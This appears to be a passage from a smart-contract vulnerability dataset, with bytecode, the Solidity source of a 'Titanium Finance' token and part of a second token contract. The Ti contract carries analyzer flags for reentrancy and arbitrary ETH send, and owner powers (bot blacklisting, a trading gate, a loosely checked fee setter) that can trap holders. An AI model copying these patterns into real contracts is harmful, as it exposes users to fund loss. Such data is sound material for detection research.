920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,320
0x628d24dc82bd75259297438ef4c5284ecf43df27
/** *Submitted for verification at Etherscan.io on 2022-04-12 */ // SPDX-License-Identifier: Unlicensed // TG: Titaniumfi pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Ti is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Titanium Finance"; string private constant _symbol = "Ti"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000000 * 10**9; uint256 public _maxWalletSize = 15000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner()); } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5000000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057a578063dd62ed3e1461059a578063ea1644d5146105e0578063f2fde38b1461060057600080fd5b8063a2a957bb146104f5578063a9059cbb14610515578063bfd7928414610535578063c3c8cd801461056557600080fd5b80638f70ccf7116100d15780638f70ccf7146104745780638f9a55c01461049457806395d89b41146104aa57806398a5c315146104d557600080fd5b80637d1db4a5146103fe5780637f2feddc146104145780638203f5fe146104415780638da5cb5b1461045657600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039457806370a08231146103a9578063715018a6146103c957806374010ece146103de57600080fd5b8063313ce5671461031857806349bd5a5e146103345780636b999053146103545780636d8aa8f81461037457600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e25780632fd689e31461030257600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a2d565b610620565b005b34801561021557600080fd5b5060408051808201909152601081526f546974616e69756d2046696e616e636560801b60208201525b60405161024b9190611af2565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611b47565b6106bf565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b50683635c9adc5dea000005b60405190815260200161024b565b3480156102ee57600080fd5b506102746102fd366004611b73565b6106d6565b34801561030e57600080fd5b506102d460175481565b34801561032457600080fd5b506040516009815260200161024b565b34801561034057600080fd5b506014546102a4906001600160a01b031681565b34801561036057600080fd5b5061020761036f366004611bb4565b61073f565b34801561038057600080fd5b5061020761038f366004611be1565b61078a565b3480156103a057600080fd5b506102076107d2565b3480156103b557600080fd5b506102d46103c4366004611bb4565b6107ff565b3480156103d557600080fd5b50610207610821565b3480156103ea57600080fd5b506102076103f9366004611bfc565b610895565b34801561040a57600080fd5b506102d460155481565b34801561042057600080fd5b506102d461042f366004611bb4565b60116020526000908152604090205481565b34801561044d57600080fd5b506102076108d9565b34801561046257600080fd5b506000546001600160a01b03166102a4565b34801561048057600080fd5b5061020761048f366004611be1565b610abe565b3480156104a057600080fd5b506102d460165481565b3480156104b657600080fd5b50604080518082019091526002815261546960f01b602082015261023e565b3480156104e157600080fd5b506102076104f0366004611bfc565b610b1d565b34801561050157600080fd5b50610207610510366004611c15565b610b4c565b34801561052157600080fd5b50610274610530366004611b47565b610ba6565b34801561054157600080fd5b50610274610550366004611bb4565b60106020526000908152604090205460ff1681565b34801561057157600080fd5b50610207610bb3565b34801561058657600080fd5b50610207610595366004611c47565b610be9565b3480156105a657600080fd5b506102d46105b5366004611ccb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ec57600080fd5b506102076105fb366004611bfc565b610c8a565b34801561060c57600080fd5b5061020761061b366004611bb4565b610cb9565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161064a90611d04565b60405180910390fd5b60005b81518110156106bb5760016010600084848151811061067757610677611d39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b381611d65565b915050610656565b5050565b60006106cc338484610da3565b5060015b92915050565b60006106e3848484610ec7565b610735843361073085604051806060016040528060288152602001611e7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112b9565b610da3565b5060019392505050565b6000546001600160a01b031633146107695760405162461bcd60e51b815260040161064a90611d04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b45760405162461bcd60e51b815260040161064a90611d04565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f257600080fd5b476107fc816112f3565b50565b6001600160a01b0381166000908152600260205260408120546106d09061132d565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161064a90611d04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161064a90611d04565b674563918244f400008110156108d457600080fd5b601555565b6000546001600160a01b031633146109035760405162461bcd60e51b815260040161064a90611d04565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561096357600080fd5b505afa158015610977573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099b9190611d80565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e357600080fd5b505afa1580156109f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1b9190611d80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190611d80565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ae85760405162461bcd60e51b815260040161064a90611d04565b601454600160a01b900460ff1615610aff57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b475760405162461bcd60e51b815260040161064a90611d04565b601755565b6000546001600160a01b03163314610b765760405162461bcd60e51b815260040161064a90611d04565b60095482111580610b895750600b548111155b610b9257600080fd5b600893909355600a91909155600955600b55565b60006106cc338484610ec7565b6012546001600160a01b0316336001600160a01b031614610bd357600080fd5b6000610bde306107ff565b90506107fc816113b1565b6000546001600160a01b03163314610c135760405162461bcd60e51b815260040161064a90611d04565b60005b82811015610c84578160056000868685818110610c3557610c35611d39565b9050602002016020810190610c4a9190611bb4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c7c81611d65565b915050610c16565b50505050565b6000546001600160a01b03163314610cb45760405162461bcd60e51b815260040161064a90611d04565b601655565b6000546001600160a01b03163314610ce35760405162461bcd60e51b815260040161064a90611d04565b6001600160a01b038116610d485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064a565b6001600160a01b038216610e665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f2b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064a565b6001600160a01b038216610f8d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064a565b60008111610fef5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064a565b6000546001600160a01b0384811691161480159061101b57506000546001600160a01b03838116911614155b156111b257601454600160a01b900460ff1661104b576000546001600160a01b0384811691161461104b57600080fd5b60155481111561105a57600080fd5b6001600160a01b03831660009081526010602052604090205460ff1615801561109c57506001600160a01b03821660009081526010602052604090205460ff16155b6110a557600080fd5b6014546001600160a01b038381169116146110db57601654816110c7846107ff565b6110d19190611d9d565b106110db57600080fd5b60006110e6306107ff565b6017546015549192508210159082106110ff5760155491505b8080156111165750601454600160a81b900460ff16155b801561113057506014546001600160a01b03868116911614155b80156111455750601454600160b01b900460ff165b801561116a57506001600160a01b03851660009081526005602052604090205460ff16155b801561118f57506001600160a01b03841660009081526005602052604090205460ff16155b156111af5761119d826113b1565b4780156111ad576111ad476112f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111f457506001600160a01b03831660009081526005602052604090205460ff165b8061122657506014546001600160a01b0385811691161480159061122657506014546001600160a01b03848116911614155b15611233575060006112ad565b6014546001600160a01b03858116911614801561125e57506013546001600160a01b03848116911614155b1561127057600854600c55600954600d555b6014546001600160a01b03848116911614801561129b57506013546001600160a01b03858116911614155b156112ad57600a54600c55600b54600d555b610c848484848461153a565b600081848411156112dd5760405162461bcd60e51b815260040161064a9190611af2565b5060006112ea8486611db5565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bb573d6000803e3d6000fd5b60006006548211156113945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064a565b600061139e611568565b90506113aa838261158b565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113f9576113f9611d39565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144d57600080fd5b505afa158015611461573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114859190611d80565b8160018151811061149857611498611d39565b6001600160a01b0392831660209182029290920101526013546114be9130911684610da3565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114f7908590600090869030904290600401611dcc565b600060405180830381600087803b15801561151157600080fd5b505af1158015611525573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611547576115476115cd565b6115528484846115fb565b80610c8457610c84600e54600c55600f54600d55565b60008060006115756116f2565b9092509050611584828261158b565b9250505090565b60006113aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611734565b600c541580156115dd5750600d54155b156115e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061160d87611762565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163f90876117bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166e9086611801565b6001600160a01b03891660009081526002602052604090205561169081611860565b61169a84836118aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116df91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061170e828261158b565b82101561172b57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117555760405162461bcd60e51b815260040161064a9190611af2565b5060006112ea8486611e3d565b600080600080600080600080600061177f8a600c54600d546118ce565b925092509250600061178f611568565b905060008060006117a28e878787611923565b919e509c509a509598509396509194505050505091939550919395565b60006113aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b9565b60008061180e8385611d9d565b9050838110156113aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064a565b600061186a611568565b905060006118788383611973565b306000908152600260205260409020549091506118959082611801565b30600090815260026020526040902055505050565b6006546118b790836117bf565b6006556007546118c79082611801565b6007555050565b60008080806118e860646118e28989611973565b9061158b565b905060006118fb60646118e28a89611973565b905060006119138261190d8b866117bf565b906117bf565b9992985090965090945050505050565b60008080806119328886611973565b905060006119408887611973565b9050600061194e8888611973565b905060006119608261190d86866117bf565b939b939a50919850919650505050505050565b600082611982575060006106d0565b600061198e8385611e5f565b90508261199b8583611e3d565b146113aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b8035611a2881611a08565b919050565b60006020808385031215611a4057600080fd5b823567ffffffffffffffff80821115611a5857600080fd5b818501915085601f830112611a6c57600080fd5b813581811115611a7e57611a7e6119f2565b8060051b604051601f19603f83011681018181108582111715611aa357611aa36119f2565b604052918252848201925083810185019188831115611ac157600080fd5b938501935b82851015611ae657611ad785611a1d565b84529385019392850192611ac6565b98975050505050505050565b600060208083528351808285015260005b81811015611b1f57858101830151858201604001528201611b03565b81811115611b31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b5a57600080fd5b8235611b6581611a08565b946020939093013593505050565b600080600060608486031215611b8857600080fd5b8335611b9381611a08565b92506020840135611ba381611a08565b929592945050506040919091013590565b600060208284031215611bc657600080fd5b81356113aa81611a08565b80358015158114611a2857600080fd5b600060208284031215611bf357600080fd5b6113aa82611bd1565b600060208284031215611c0e57600080fd5b5035919050565b60008060008060808587031215611c2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c5c57600080fd5b833567ffffffffffffffff80821115611c7457600080fd5b818601915086601f830112611c8857600080fd5b813581811115611c9757600080fd5b8760208260051b8501011115611cac57600080fd5b602092830195509350611cc29186019050611bd1565b90509250925092565b60008060408385031215611cde57600080fd5b8235611ce981611a08565b91506020830135611cf981611a08565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d7957611d79611d4f565b5060010190565b600060208284031215611d9257600080fd5b81516113aa81611a08565b60008219821115611db057611db0611d4f565b500190565b600082821015611dc757611dc7611d4f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e1c5784516001600160a01b031683529383019391830191600101611df7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e7957611e79611d4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205ef926c662b9a87f154c10c599757af41d6369ce9aac167c2bd2b5c4f978d4b364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,321
0xbdda280ee7bccc68f3be60a369b6b1eaee02493c
pragma solidity 0.4.24; // File: contracts/commons/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/base/BaseExchangeableTokenInterface.sol interface BaseExchangeableTokenInterface { // Sender interface must have: // mapping(address => uint) private exchangedWith; // mapping(address => uint) private exchangedBy; // Receiver interface must have: // mapping(address => uint) private exchangesReceived; /// @dev Fired if token exchange complete event Exchange(address _from, address _targetContract, uint _amount); /// @dev Fired if token exchange and spent complete event ExchangeSpent(address _from, address _targetContract, address _to, uint _amount); // Sender interface function exchangeToken(address _targetContract, uint _amount) external returns (bool success, uint creditedAmount); function exchangeAndSpend(address _targetContract, uint _amount, address _to) external returns (bool success); function __exchangerCallback(address _targetContract, address _exchanger, uint _amount) external returns (bool success); // Receiver interface function __targetExchangeCallback(uint _amount) external returns (bool success); function __targetExchangeAndSpendCallback(address _to, uint _amount) external returns (bool success); } // File: contracts/flavours/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/flavours/Lockable.sol /** * @title Lockable * @dev Base contract which allows children to * implement main operations locking mechanism. */ contract Lockable is Ownable { event Lock(); event Unlock(); bool public locked = false; /** * @dev Modifier to make a function callable * only when the contract is not locked. */ modifier whenNotLocked() { require(!locked); _; } /** * @dev Modifier to make a function callable * only when the contract is locked. */ modifier whenLocked() { require(locked); _; } /** * @dev called by the owner to lock, triggers locked state */ function lock() public onlyOwner whenNotLocked { locked = true; emit Lock(); } /** * @dev called by the owner * to unlock, returns to unlocked state */ function unlock() public onlyOwner whenLocked { locked = false; emit Unlock(); } } // File: contracts/base/BaseFixedERC20Token.sol contract BaseFixedERC20Token is Lockable { using SafeMath for uint; /// @dev ERC20 Total supply uint public totalSupply; mapping(address => uint) public balances; mapping(address => mapping(address => uint)) private allowed; /// @dev Fired if token is transferred according to ERC20 spec event Transfer(address indexed from, address indexed to, uint value); /// @dev Fired if token withdrawal is approved according to ERC20 spec event Approval(address indexed owner, address indexed spender, uint value); /** * @dev Gets the balance of the specified address * @param owner_ The address to query the the balance of * @return An uint representing the amount owned by the passed address */ function balanceOf(address owner_) public view returns (uint balance) { return balances[owner_]; } /** * @dev Transfer token for a specified address * @param to_ The address to transfer to. * @param value_ The amount to be transferred. */ function transfer(address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[msg.sender]); // SafeMath.sub will throw an exception if there is not enough balance balances[msg.sender] = balances[msg.sender].sub(value_); balances[to_] = balances[to_].add(value_); emit Transfer(msg.sender, to_, value_); return true; } /** * @dev Transfer tokens from one address to another * @param from_ address The address which you want to send tokens from * @param to_ address The address which you want to transfer to * @param value_ uint the amount of tokens to be transferred */ function transferFrom(address from_, address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[from_] && value_ <= allowed[from_][msg.sender]); balances[from_] = balances[from_].sub(value_); balances[to_] = balances[to_].add(value_); allowed[from_][msg.sender] = allowed[from_][msg.sender].sub(value_); emit Transfer(from_, to_, value_); return true; } /** * @dev 